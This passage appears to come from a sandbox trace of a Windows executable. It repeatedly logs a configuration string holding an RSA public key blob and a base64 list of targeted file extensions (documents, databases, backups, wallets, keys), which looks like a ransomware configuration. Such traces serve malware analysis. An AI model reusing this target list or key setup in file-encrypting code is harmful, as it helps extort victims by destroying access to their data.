sIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3